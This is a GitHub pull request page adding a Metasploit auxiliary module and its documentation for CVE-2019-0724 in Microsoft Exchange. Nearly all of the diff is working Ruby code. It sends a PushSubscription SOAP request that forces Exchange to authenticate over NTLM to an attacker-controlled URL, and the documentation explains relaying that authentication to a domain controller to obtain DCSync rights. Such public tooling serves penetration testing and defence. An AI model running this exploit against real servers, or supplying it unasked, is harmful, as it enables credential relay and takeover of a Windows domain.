-
Notifications
You must be signed in to change notification settings - Fork 14.8k
Added Exchange Web Services PushSubscription CVE-2019-0724 auxiliary module #11420
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
dwelch-r7
merged 19 commits into
rapid7:master
from
pkb1s:exchange_web_server_pushsubscription
Oct 18, 2019
Merged
Changes from all commits
Commits
Show all changes
19 commits
Select commit
Hold shift + click to select a range
949d140
Added auxiliary module code
invalid-email-address 51df276
Add documentation
pkb1s 72f73c5
Update exchange_web_server_pushsubscription.md
pkb1s 3a77cc9
Update exchange_web_server_pushsubscription.rb
pkb1s e12052a
Update exchange_web_server_pushsubscription.md
pkb1s 1999f68
Minor changes to module options
pkb1s e06d7e2
correction of CVE number
pkb1s 7734f43
Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscri…
bcoles 40ff19a
Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscri…
bcoles 2286824
Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscri…
bcoles 62054ed
Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscri…
bcoles b43f6e8
updated author section
pkb1s 3196b6b
Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscri…
bcoles 12ffc2a
changed reference structure
pkb1s 794e74c
added cve in reference
pkb1s d0ab528
Update exchange_web_server_pushsubscription.rb
pkb1s 8e85586
Update exchange_web_server_pushsubscription.rb
pkb1s 828eee1
using "return early, return often" style
pkb1s 8eed4c7
Update exchange_web_server_pushsubscription.rb
pkb1s File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
37 changes: 37 additions & 0 deletions
37
...entation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,37 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| * Microsoft Exchange 2013 and 2016 | ||
| * Tested on Exchange 2016 | ||
| * Usage: | ||
| * Download and install Exchange Server within a Windows domain | ||
| * Setup a mailbox with a domain user | ||
| * Run the module | ||
| * Relay the NTLM authentication to the DC | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| Example steps: | ||
|
|
||
| 1. Start msfconsole | ||
| 2. Do: ```use auxiliary/scanner/http/exchange_web_server_pushsubscription``` | ||
| 3. Do: ```set attacker_url <url>``` | ||
| 4. Do: ```set rport <target_port>``` | ||
| 5. Do: ```set rhost <target_IP>``` | ||
| 6. Do: ```set domain <domain_name>``` | ||
| 7. Do: ```set password <user_pass>``` | ||
| 8. Do: ```set username <user_pass>``` | ||
| 9. Do: ```run``` | ||
|
|
||
| ## Options | ||
|
|
||
| **The ATTACKER_URL option** | ||
|
|
||
| This option should contain a URL under the attacker's control. This is where the Exchange will try to authenticate. | ||
|
|
||
| **The PASSWORD option** | ||
| This can be either the password or the NTLM hash of any domain user with a mailbox configured on Exchange. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| This module can be used to make a request to the Exchange server and force it to authenticate to a URL under our control. | ||
| An example scenario is that when this module is combined with an NTLM relay attack, if the Exchange server has the necessary permissions it is possible to grant us DCSync rights. |
148 changes: 148 additions & 0 deletions
148
modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,148 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| require 'rex/proto/ntlm/message' | ||
| require 'rex/proto/http' | ||
|
|
||
| class MetasploitModule < Msf::Auxiliary | ||
| include Msf::Exploit::Remote::HttpClient | ||
|
|
||
| def initialize | ||
| super( | ||
| 'Name' => 'Microsoft Exchange Privilege Escalation Exploit', | ||
| 'Description' => %q{ | ||
| This module exploits a privilege escalation vulnerability found in Microsoft Exchange - CVE-2019-0724 | ||
| Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature. | ||
| This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured. | ||
| The module is based on the work by @_dirkjan, | ||
| }, | ||
| 'Author' => [ | ||
| '_dirkjan', # Discovery and PoC | ||
| 'Petros Koutroumpis' # Metasploit | ||
| ], | ||
| 'References' => | ||
| [ | ||
| [ 'CVE', '2019-0724' ], | ||
| [ 'URL', 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] | ||
| ], | ||
| 'DefaultOptions' => | ||
| { | ||
| 'SSL' => true, | ||
| 'RPORT' => 443 | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'DisclosureDate' => '2019-01-21' | ||
| ) | ||
|
|
||
| register_options( | ||
| [ | ||
| OptString.new('USERNAME', [ true, "Username of any domain user with a mailbox on Exchange"]), | ||
| OptString.new('PASSWORD', [ true, "Password or password hash (in LM:NT format) of the user"]), | ||
| OptString.new('DOMAIN', [ true, "The Active Directory domain name"]), | ||
| OptString.new('TARGETURI', [ true, "Exchange Web Services API endpoint", "/EWS/Exchange.asmx" ]), | ||
| OptString.new('EXCHANGE_VERSION', [ true, "Version of Exchange (2013|2016)", "2016" ]), | ||
pkb1s marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| OptString.new('ATTACKER_URL', [ true, "Attacker URL", nil ]) | ||
| ]) | ||
| end | ||
|
|
||
| def run | ||
|
|
||
| domain = datastore['DOMAIN'] | ||
| uri = datastore['TARGETURI'] | ||
| exchange_version = datastore['EXCHANGE_VERSION'] | ||
| attacker_url = datastore['ATTACKER_URL'] | ||
bcoles marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
|
||
| req_data = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" + "\r\n" | ||
| req_data += "<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\">" + "\r\n" | ||
| req_data += "<soap:Header>" + "\r\n" | ||
| req_data += "<t:RequestServerVersion Version=\"Exchange"+exchange_version+"\" />" + "\r\n" | ||
| req_data += "</soap:Header>" + "\r\n" | ||
| req_data += "<soap:Body>" + "\r\n" | ||
| req_data += "<m:Subscribe>" + "\r\n" | ||
| req_data += "<m:PushSubscriptionRequest SubscribeToAllFolders=\"true\">" + "\r\n" | ||
| req_data += "<t:EventTypes>" + "\r\n" | ||
| req_data += "<t:EventType>NewMailEvent</t:EventType>" + "\r\n" | ||
| req_data += "<t:EventType>ModifiedEvent</t:EventType>" + "\r\n" | ||
| req_data += "<t:EventType>MovedEvent</t:EventType>" + "\r\n" | ||
| req_data += "</t:EventTypes>" + "\r\n" | ||
| req_data += "<t:StatusFrequency>1</t:StatusFrequency>" + "\r\n" | ||
| req_data += "<t:URL>"+attacker_url+"</t:URL>" + "\r\n" | ||
| req_data += "</m:PushSubscriptionRequest>" + "\r\n" | ||
| req_data += "</m:Subscribe>" + "\r\n" | ||
| req_data += "</soap:Body>" + "\r\n" | ||
| req_data += "</soap:Envelope>" + "\r\n" | ||
|
|
||
| http = nil | ||
|
|
||
| http = Rex::Proto::Http::Client.new( | ||
| rhost, | ||
| rport.to_i, | ||
| {}, | ||
| ssl, | ||
| ssl_version, | ||
| proxies, | ||
| datastore['USERNAME'], | ||
| datastore['PASSWORD'] | ||
| ) | ||
|
|
||
| http.set_config({ 'preferred_auth' => 'NTLM' }) | ||
| http.set_config({ 'domain' => domain }) | ||
| add_socket(http) | ||
|
|
||
|
|
||
| req = http.request_raw({ | ||
| 'uri' => uri, | ||
| 'method' => 'POST', | ||
| 'ctype' => 'text/xml; charset=utf-8', | ||
| 'headers' => { | ||
| 'Accept' => 'text/xml' | ||
| }, | ||
| 'data' => req_data | ||
| }) | ||
|
|
||
| begin | ||
| res = http.send_recv(req) | ||
| xml = res.get_xml_document | ||
| http.close | ||
| rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::Rex::HostUnreachable | ||
| print_error("Connection failed") | ||
| rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError | ||
| print_error "SSL negotiation failed" | ||
| end | ||
|
|
||
| if res.nil? | ||
| fail_with(Failure::Unreachable, 'Connection failed') | ||
| end | ||
|
|
||
| if res.code == 401 | ||
| fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed') | ||
| end | ||
|
|
||
| if xml.nil? | ||
| fail_with(Failure::UnexpectedReply, "Empty reply from server") | ||
| end | ||
|
|
||
| if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion") | ||
| fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version") | ||
| end | ||
|
|
||
| unless res.code == 200 | ||
| fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}") | ||
| end | ||
|
|
||
| print_good("Exchange returned HTTP status 200 - Authentication was successful") | ||
|
|
||
| if xml.text.include? "ErrorMissingEmailAddress" | ||
| fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.") | ||
| end | ||
|
|
||
| unless xml.text.include? "NoError" | ||
| fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}") | ||
| end | ||
|
|
||
| print_good("API call was successful") | ||
|
|
||
| end | ||
| end | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.